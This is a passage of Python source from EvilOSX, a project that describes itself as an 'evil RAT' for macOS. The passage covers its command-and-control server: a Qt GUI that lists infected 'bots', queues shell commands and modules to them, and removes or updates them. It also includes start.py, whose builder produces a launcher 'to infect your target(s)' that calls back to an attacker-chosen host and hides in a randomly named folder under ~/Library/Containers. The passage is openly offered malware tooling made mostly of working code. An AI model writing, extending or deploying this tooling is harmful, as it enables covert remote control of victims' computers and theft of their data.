run_button.setMinimumHeight(25) 394 | 395 | command_type_combobox.currentTextChanged.connect(self._on_command_type_change) 396 | run_button.pressed.connect(lambda: self._on_command_run(command_input)) 397 | 398 | self._layout.addWidget(command_type_label, 0, 0) 399 | self._layout.addWidget(command_type_combobox, 0, 1) 400 | self._layout.addWidget(command_label, 1, 0) 401 | self._layout.addWidget(command_input, 1, 1) 402 | 403 | self._sub_layout.addWidget(QLabel("")) 404 | self._sub_layout.addWidget(run_button) 405 | self._sub_layout.setContentsMargins(0, 15, 0, 0) 406 | self._layout.addLayout(self._sub_layout, self._layout.rowCount() + 2, 0, 1, 2) 407 | 408 | def _on_command_type_change(self, text): 409 | """Handles the command type combobox change event. 410 | 411 | :type text: str 412 | """ 413 | if text == "Module": 414 | self.set_module_layout() 415 | else: 416 | self.set_shell_layout() 417 | 418 | def _on_module_change(self, module_name): 419 | """Handles module combobox changes. 420 | 421 | :type module_name: str 422 | """ 423 | while self._sub_layout.count(): 424 | child = self._sub_layout.takeAt(0) 425 | 426 | if child.widget(): 427 | child.widget().deleteLater() 428 | 429 | cached_module = modules.get_module(module_name) 430 | 431 | if not cached_module: 432 | cached_module = modules.load_module(module_name, self._module_view, self._model) 433 | 434 | input_fields = [] 435 | 436 | for option_name in cached_module.get_setup_messages(): 437 | input_field = QLineEdit() 438 | input_fields.append(input_field) 439 | 440 | self._sub_layout.addWidget(QLabel(option_name)) 441 | self._sub_layout.addWidget(input_field) 442 | 443 | run_button = QPushButton("Run") 444 | run_button.setMaximumWidth(250) 445 | run_button.setMinimumHeight(25) 446 | 447 | run_button.pressed.connect(lambda: self._on_module_run(module_name, input_fields)) 448 | 449 | self._sub_layout.addWidget(QLabel("")) 450 | self._sub_layout.addWidget(run_button) 451 | self._sub_layout.setContentsMargins(0, 15, 0, 0) 452 | 453 | def display_info(self, text): 454 | """ 455 | :type text: str 456 | """ 457 | message_box = QMessageBox() 458 | 459 | message_box.setIcon(QMessageBox.Information) 460 | message_box.setWindowTitle("Information") 461 | message_box.setText(text) 462 | message_box.setStandardButtons(QMessageBox.Ok) 463 | message_box.exec_() 464 | 465 | def _on_module_run(self, module_name, input_fields): 466 | """Handles running modules. 467 | 468 | :type module_name: str 469 | :type input_fields: list 470 | """ 471 | set_options = [] 472 | 473 | for input_field in input_fields: 474 | set_options.append(input_field.text()) 475 | 476 | module = modules.get_module(module_name) 477 | 478 | if not module: 479 | module = modules.load_module(module_name, self._module_view, self._model) 480 | 481 | successful, options = module.setup(set_options) 482 | 483 | if successful: 484 | if module_name == "remove_bot": 485 | code = loaders.get_remove_code(self._current_bot.loader_name) 486 | elif module_name == "update_bot": 487 | code = loaders.get_update_code(self._current_bot.loader_name) 488 | else: 489 | code = modules.get_code(module_name) 490 | 491 | if not options: 492 | options = {} 493 | 494 | options["module_name"] = module_name 495 | 496 | self._model.add_command(self._current_bot.uid, Command( 497 | CommandType.MODULE, code, options 498 | )) 499 | 500 | self.display_info("Module added to the queue of:\n {}@{}".format( 501 | self._current_bot.username, self._current_bot.hostname) 502 | ) 503 | 504 | def _on_command_run(self, command_input): 505 | """Handles running commands. 506 | 507 | :type command_input: QLineEdit 508 | """ 509 | if command_input.text().strip() == "": 510 | return 511 | 512 | self._model.add_command(self._current_bot.uid, Command(CommandType.SHELL, command_input.text().encode())) 513 | 514 | command_input.clear() 515 | self.display_info("Command added to the queue of:\n {}@{}".format( 516 | self._current_bot.username, self._current_bot.hostname 517 | )) 518 | 519 | 520 | class _BotTable(QTableWidget): 521 | """Table which holds all bots.""" 522 | 523 | def __init__(self): 524 | super(_BotTable, self).__init__() 525 | 526 | self._header_labels = ["UID", "Username", "Version", "Last Seen"] 527 | 528 | self.setColumnCount(len(self._header_labels)) 529 | self.setHorizontalHeaderLabels(self._header_labels) 530 | 531 | self.setSelectionBehavior(QAbstractItemView.SelectRows) 532 | self.setAlternatingRowColors(True) 533 | self.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff) 534 | self.setEditTriggers(QAbstractItemView.NoEditTriggers) 535 | 536 | for i in range(len(self._header_labels)): 537 | self.horizontalHeader().setSectionResizeMode(i, QHeaderView.Stretch) 538 | 539 | def set_on_selection_changed(self, callback_function): 540 | self.itemSelectionChanged.connect(callback_function) 541 | 542 | def add_bot(self, bot): 543 | """Adds a bot to the table. 544 | 545 | :rtype bot: Bot 546 | """ 547 | self.setRowCount(self.rowCount() + 1) 548 | created_row = self.rowCount() - 1 549 | 550 | self.setItem(created_row, 0, QTableWidgetItem(bot.uid)) 551 | self.setItem(created_row, 1, QTableWidgetItem(bot.username + "@" + bot.hostname)) 552 | self.setItem(created_row, 2, QTableWidgetItem(bot.system_version)) 553 | self.setItem(created_row, 3, QTableWidgetItem( 554 | strftime("%a, %b %d @ %H:%M:%S", localtime(bot.last_online)) 555 | )) 556 | 557 | def remove_bot(self, bot): 558 | """Removes a bot from the table. 559 | 560 | :rtype bot: Bot 561 | """ 562 | pass 563 | 564 | 565 | class _ControlTab(QWidget): 566 | """Tab which allows the user to control individual bots. 567 | 568 | Handles any events fired by the table etc. 569 | """ 570 | 571 | def __init__(self, model): 572 | super(_ControlTab, self).__init__() 573 | 574 | self._model = model 575 | 576 | layout = QGridLayout() 577 | splitter = QSplitter() 578 | 579 | self._bot_table = _BotTable() 580 | self._responses_tab = _ResponsesTab() 581 | self._execute_tab = _ExecuteTab(self._responses_tab, model) 582 | 583 | self._tab_widget = QTabWidget() 584 | self._tab_widget.addTab(self._execute_tab, "Execute") 585 | self._tab_widget.addTab(self._responses_tab, "Responses") 586 | 587 | splitter.setOrientation(Qt.Vertical) 588 | splitter.addWidget(self._bot_table) 589 | splitter.addWidget(self._tab_widget) 590 | splitter.setSizes([50, 100]) 591 | 592 | layout.addWidget(splitter) 593 | self.setLayout(layout) 594 | 595 | self._register_listeners() 596 | 597 | def _register_listeners(self): 598 | self._bot_table.set_on_selection_changed(self.on_table_selection_changed) 599 | 600 | def on_table_selection_changed(self): 601 | bot_uid = self._bot_table.item(self._bot_table.currentRow(), 0).text() 602 | 603 | self._execute_tab.set_current_bot(self._model.get_bot(bot_uid)) 604 | self._execute_tab.set_module_layout() 605 | self._responses_tab.clear() 606 | 607 | def get_table(self): 608 | """ 609 | :rtype: _BotTable 610 | """ 611 | return self._bot_table 612 | 613 | def get_responses_tab(self): 614 | """ 615 | :rtype: _ResponsesTab 616 | """ 617 | return self._responses_tab 618 | 619 | 620 | class _HomeTab(QWidget): 621 | """Home tab which contains information about EvilOSX.""" 622 | 623 | def __init__(self): 624 | super(_HomeTab, self).__init__() 625 | 626 | self._layout = QHBoxLayout() 627 | self.setLayout(self._layout) 628 | 629 | message_label = QLabel("""\ 630 | Welcome to EvilOSX:
631 | An evil RAT (Remote Administration Tool) for macOS / OS X.


632 | 633 | Author: Marten4n6
634 | License: GPLv3
635 | Version: {} 636 | """.format(VERSION)) 637 | logo_label = QLabel() 638 | 639 | logo_path = path.join(path.dirname(__file__), path.pardir, path.pardir, "data", "images", "logo_334x600.png") 640 | logo_label.setPixmap(QPixmap(logo_path)) 641 | 642 | self._layout.setAlignment(Qt.AlignCenter) 643 | self._layout.setSpacing(50) 644 | self._layout.addWidget(message_label) 645 | self._layout.addWidget(logo_label) 646 | 647 | 648 | class _TabbedWidget(QTabWidget): 649 | """Widget which holds all tabs.""" 650 | 651 | def __init__(self, model): 652 | super(_TabbedWidget, self).__init__() 653 | 654 | self._home_tab = _HomeTab() 655 | self._control_tab = _ControlTab(model) 656 | self._broadcast_tab = _BroadcastTab(model) 657 | self._builder_tab = _BuilderTab() 658 | 659 | self.addTab(self._home_tab, "Home") 660 | self.addTab(self._control_tab, "Control") 661 | self.addTab(self._broadcast_tab, "Broadcast") 662 | self.addTab(self._builder_tab, "Builder") 663 | 664 | def get_home_tab(self): 665 | """ 666 | :rtype: _HomeTab 667 | """ 668 | return self._home_tab 669 | 670 | def get_control_tab(self): 671 | """ 672 | :rtype: _ControlTab 673 | """ 674 | return self._control_tab 675 | 676 | def get_broadcast_tab(self): 677 | """ 678 | :rtype: _BroadcastTab 679 | """ 680 | return self._broadcast_tab 681 | 682 | def get_builder_tab(self): 683 | """ 684 | :rtype: _BuilderTab 685 | """ 686 | return self._builder_tab 687 | 688 | 689 | class _MainWindow(QMainWindow): 690 | """Main GUI window which displays the tabbed widget.""" 691 | 692 | def __init__(self, central_widget): 693 | """ 694 | :type central_widget: QWidget 695 | """ 696 | super(_MainWindow, self).__init__() 697 | 698 | self.setGeometry(0, 0, 1000, 680) 699 | self.setCentralWidget(central_widget) 700 | 701 | 702 | class _QDarkPalette(QPalette): 703 | """Dark palette for a Qt application.""" 704 | 705 | def __init__(self): 706 | super(_QDarkPalette, self).__init__() 707 | 708 | self._color_white = QColor(255, 255, 255) 709 | self._color_black = QColor(0, 0, 0) 710 | self._color_red = QColor(255, 0, 0) 711 | self._color_primary = QColor(53, 53, 53) 712 | self._color_secondary = QColor(35, 35, 35) 713 | self._color_tertiary = QColor(42, 130, 218) 714 | 715 | self.setColor(QPalette.Window, self._color_primary) 716 | self.setColor(QPalette.WindowText, self._color_white) 717 | self.setColor(QPalette.Base, self._color_secondary) 718 | self.setColor(QPalette.AlternateBase, self._color_primary) 719 | self.setColor(QPalette.ToolTipBase, self._color_white) 720 | self.setColor(QPalette.ToolTipText, self._color_white) 721 | self.setColor(QPalette.Text, self._color_white) 722 | self.setColor(QPalette.Button, self._color_primary) 723 | self.setColor(QPalette.ButtonText, self._color_white) 724 | self.setColor(QPalette.BrightText, self._color_red) 725 | self.setColor(QPalette.Link, self._color_tertiary) 726 | self.setColor(QPalette.Highlight, self._color_tertiary) 727 | self.setColor(QPalette.HighlightedText, self._color_black) 728 | 729 | def apply(self, application): 730 | """Apply this theme to the given application. 731 | 732 | :type application: QApplication 733 | """ 734 | application.setStyle("Fusion") 735 | application.setPalette(self) 736 | application.setStyleSheet("QToolTip {{" 737 | "color: {white};" 738 | "background-color: {tertiary};" 739 | "border: 1px solid {white};" 740 | "}}".format(white="rgb({}, {}, {})".format(*self._color_white.getRgb()), 741 | tertiary="rgb({}, {}, {})".format(*self._color_tertiary.getRgb()))) 742 | 743 | 744 | class ViewGUI(ViewABC): 745 | """This class interacts with the user via a graphical user interface. 746 | 747 | Used by the controller to communicate with the view. 748 | """ 749 | 750 | def __init__(self, model, server_port): 751 | """ 752 | :type server_port: int 753 | """ 754 | self._model = model 755 | self._server_port = server_port 756 | 757 | self._application = QApplication([]) 758 | self._tabbed_widget = _TabbedWidget(model) 759 | self._main_window = _MainWindow(self._tabbed_widget) 760 | 761 | self._main_window.setWindowTitle("EvilOSX v{} | Port: {} | Available bots: 0".format(VERSION, str(server_port))) 762 | 763 | _QDarkPalette().apply(self._application) 764 | 765 | def get_tabbed_widget(self): 766 | """ 767 | :rtype: QWidget 768 | """ 769 | return self._tabbed_widget 770 | 771 | def output(self, line, prefix=""): 772 | """ 773 | :rtype: line: str 774 | :rtype: prefix: str 775 | """ 776 | self._tabbed_widget.get_control_tab().get_responses_tab().output(line) 777 | 778 | def on_response(self, response): 779 | """ 780 | :type response: str 781 | """ 782 | responses_tab = self._tabbed_widget.get_control_tab().get_responses_tab() 783 | 784 | self.output_separator() 785 | 786 | for line in response.splitlines(): 787 | responses_tab.output(line) 788 | 789 | def on_bot_added(self, bot): 790 | """ 791 | :rtype: Bot 792 | """ 793 | self._tabbed_widget.get_control_tab().get_table().add_bot(bot) 794 | self._main_window.setWindowTitle("EvilOSX v{} | Port: {} | Available bots: {}".format( 795 | VERSION, str(self._server_port), self._model.get_bot_amount() 796 | )) 797 | 798 | def on_bot_removed(self, bot): 799 | """ 800 | :type: Bot 801 | """ 802 | bot_table = self._tabbed_widget.get_control_tab().get_table() 803 | 804 | bot_table.remove_bot(bot) 805 | 806 | def on_bot_path_change(self, bot): 807 | """ 808 | :type bot: Bot 809 | """ 810 | super(self).on_bot_path_change(bot) 811 | 812 | def start(self): 813 | self._main_window.show() 814 | self._application.exec_() 815 | -------------------------------------------------------------------------------- /server/view/helper.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from abc import ABCMeta, abstractmethod 6 | from server.model import Bot 7 | 8 | 9 | class ViewABC: 10 | """Abstract base class for views, used by the background server.""" 11 | __metaclass__ = ABCMeta 12 | 13 | @abstractmethod 14 | def output(self, line, prefix=""): 15 | """Adds a line to the output view. 16 | 17 | :type line: str 18 | :type prefix: str 19 | """ 20 | pass 21 | 22 | def output_separator(self): 23 | self.output("-" * 5) 24 | 25 | @abstractmethod 26 | def on_response(self, response): 27 | """Called when a bot sends a response. 28 | 29 | :type response: str 30 | """ 31 | pass 32 | 33 | @abstractmethod 34 | def on_bot_added(self, bot): 35 | """Called when a bot connects for the first time. 36 | 37 | :type bot: Bot 38 | """ 39 | pass 40 | 41 | @abstractmethod 42 | def on_bot_removed(self, bot): 43 | """Called when a bot gets removed. 44 | 45 | :type bot: Bot 46 | """ 47 | 48 | @abstractmethod 49 | def on_bot_path_change(self, bot): 50 | """Called when the bot's local path changes. 51 | 52 | :type bot: Bot 53 | """ 54 | pass 55 | -------------------------------------------------------------------------------- /start.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """Starts the server.""" 4 | __author__ = "Marten4n6" 5 | __license__ = "GPLv3" 6 | 7 | from argparse import ArgumentParser 8 | from os import path 9 | from sys import exit 10 | from uuid import uuid4 11 | 12 | from bot import launchers, loaders 13 | from server.handler import start_server 14 | from server.model import Model 15 | from server.version import VERSION 16 | 17 | BANNER = """\ 18 | ▓█████ ██▒ █▓ ██▓ ██▓ ▒█████ ██████ ▒██ ██▒ 19 | ▓█ ▀▓██░ █▒▓██▒▓██▒ ▒██▒ ██▒▒██ ▒ ▒▒ █ █ ▒░ 20 | ▒███ ▓██ █▒░▒██▒▒██░ ▒██░ ██▒░ ▓██▄ ░░ █ ░ 21 | ▒▓█ ▄ ▒██ █░░░██░▒██░ ▒██ ██░ ▒ ██▒ ░ █ █ ▒ @{} (v{}) 22 | ░▒████▒ ▒▀█░ ░██░░██████▒░ ████▓▒░▒██████▒▒▒██▒ ▒██▒ GPLv3 licensed 23 | ░░ ▒░ ░ ░ ▐░ ░▓ ░ ▒░▓ ░░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░▒▒ ░ ░▓ ░ 24 | ░ ░ ░ ░ ░░ ▒ ░░ ░ ▒ ░ ░ ▒ ▒░ ░ ░▒ ░ ░░░ ░▒ ░ 25 | ░ ░░ ▒ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ 26 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 27 | """.format(__author__, VERSION) 28 | 29 | MESSAGE_INPUT = "[\033[1m?\033[0m] " 30 | MESSAGE_INFO = "[\033[94mI\033[0m] " 31 | MESSAGE_ATTENTION = "[\033[91m!\033[0m] " 32 | 33 | try: 34 | # Python2 support. 35 | # noinspection PyShadowingBuiltins 36 | input = raw_input 37 | except NameError: 38 | pass 39 | 40 | 41 | def builder(): 42 | server_host = input(MESSAGE_INPUT + "Server host (where EvilOSX will connect to): ") 43 | server_port = int(input(MESSAGE_INPUT + "Server port: ")) 44 | program_directory = input(MESSAGE_INPUT + "Where should EvilOSX live? " 45 | "(Leave empty for ~/Library/Containers/.): ") 46 | 47 | if not program_directory: 48 | program_directory = "~/Library/Containers/.{}".format(launchers.get_random_string()) 49 | 50 | # Select a launcher 51 | launcher_names = launchers.get_names() 52 | 53 | print(MESSAGE_INFO + "{} available launchers: ".format(len(launcher_names))) 54 | for i, launcher_name in enumerate(launcher_names): 55 | print("{} = {}".format(str(i), launcher_name)) 56 | 57 | while True: 58 | try: 59 | selected_launcher = input(MESSAGE_INPUT + "Launcher to use (Leave empty for 1): ") 60 | 61 | if not selected_launcher: 62 | selected_launcher = 1 63 | else: 64 | selected_launcher = int(selected_launcher) 65 | 66 | selected_launcher = launcher_names[selected_launcher] 67 | break 68 | except (ValueError, IndexError): 69 | continue 70 | 71 | # Select a loader 72 | loader_names = loaders.get_names() 73 | 74 | print(MESSAGE_INFO + "{} available loaders: ".format(len(loader_names))) 75 | for i, loader_name in enumerate(loader_names): 76 | print("{} = {} ({})".format(str(i), loader_name, loaders.get_info(loader_name)["Description"])) 77 | 78 | while True: 79 | try: 80 | selected_loader = input(MESSAGE_INPUT + "Loader to use (Leave empty for 0): ") 81 | 82 | if not selected_loader: 83 | selected_loader = 0 84 | else: 85 | selected_loader = int(selected_loader) 86 | 87 | selected_loader = loader_names[selected_loader] 88 | break 89 | except (ValueError, IndexError): 90 | continue 91 | 92 | set_options = [] 93 | 94 | for option_message in loaders.get_option_messages(selected_loader): 95 | set_options.append(input(MESSAGE_INPUT + option_message)) 96 | 97 | # Loader setup 98 | loader_options = loaders.get_options(selected_loader, set_options) 99 | loader_options["program_directory"] = program_directory 100 | 101 | # Create the launcher 102 | print(MESSAGE_INFO + "Creating the \"{}\" launcher...".format(selected_launcher)) 103 | stager = launchers.create_stager(server_host, server_port, loader_options) 104 | 105 | launcher_extension, launcher = launchers.generate(selected_launcher, stager) 106 | launcher_path = path.realpath(path.join(path.dirname(__file__), "data", "builds", "Launcher-{}.{}".format( 107 | str(uuid4())[:6], launcher_extension 108 | ))) 109 | 110 | with open(launcher_path, "w") as output_file: 111 | output_file.write(launcher) 112 | 113 | print(MESSAGE_INFO + "Launcher written to: {}".format(launcher_path)) 114 | 115 | 116 | def main(): 117 | parser = ArgumentParser() 118 | parser.add_argument("-p", "--port", help="server port to listen on", type=int) 119 | parser.add_argument("--cli", help="show the command line interface", action="store_true") 120 | parser.add_argument("--builder", help="build a launcher to infect your target(s)", action="store_true") 121 | parser.add_argument("--no-banner", help="prevents the EvilOSX banner from being displayed", action="store_true") 122 | 123 | arguments = parser.parse_args() 124 | 125 | if not arguments.no_banner: 126 | try: 127 | print(BANNER) 128 | except UnicodeEncodeError: 129 | # Thrown on my Raspberry PI (via SSH). 130 | print(MESSAGE_ATTENTION + "Failed to print fancy banner, skipping...") 131 | 132 | if arguments.builder: 133 | # Run the builder then exit. 134 | builder() 135 | exit(0) 136 | 137 | if arguments.port: 138 | server_port = arguments.port 139 | else: 140 | while True: 141 | try: 142 | server_port = int(input(MESSAGE_INPUT + "Server port to listen on: ")) 143 | break 144 | except ValueError: 145 | print(MESSAGE_ATTENTION + "Invalid port.") 146 | continue 147 | 148 | model = Model() 149 | if arguments.cli: 150 | from server.view.cli import ViewCLI 151 | view = ViewCLI(model, server_port) 152 | else: 153 | from server.view.gui import ViewGUI 154 | view = ViewGUI(model, server_port) 155 | 156 | # Start handling bot requests 157 | start_server(model, view, server_port) 158 | 159 | # Start the view, blocks until exit. 160 | view.start() 161 | 162 | print(MESSAGE_INFO + "Feel free to submit any issues or feature requests on GitHub.") 163 | print(MESSAGE_INFO + "Goodbye!") 164 | 165 | 166 | if __name__ == '__main__': 167 | try: 168 | main() 169 | except KeyboardInterrupt: 170 | print("\n" + MESSAGE_ATTENTION + "Interrupted.") 171 | exit(0) 172 | --------------------------------------------------------------------------------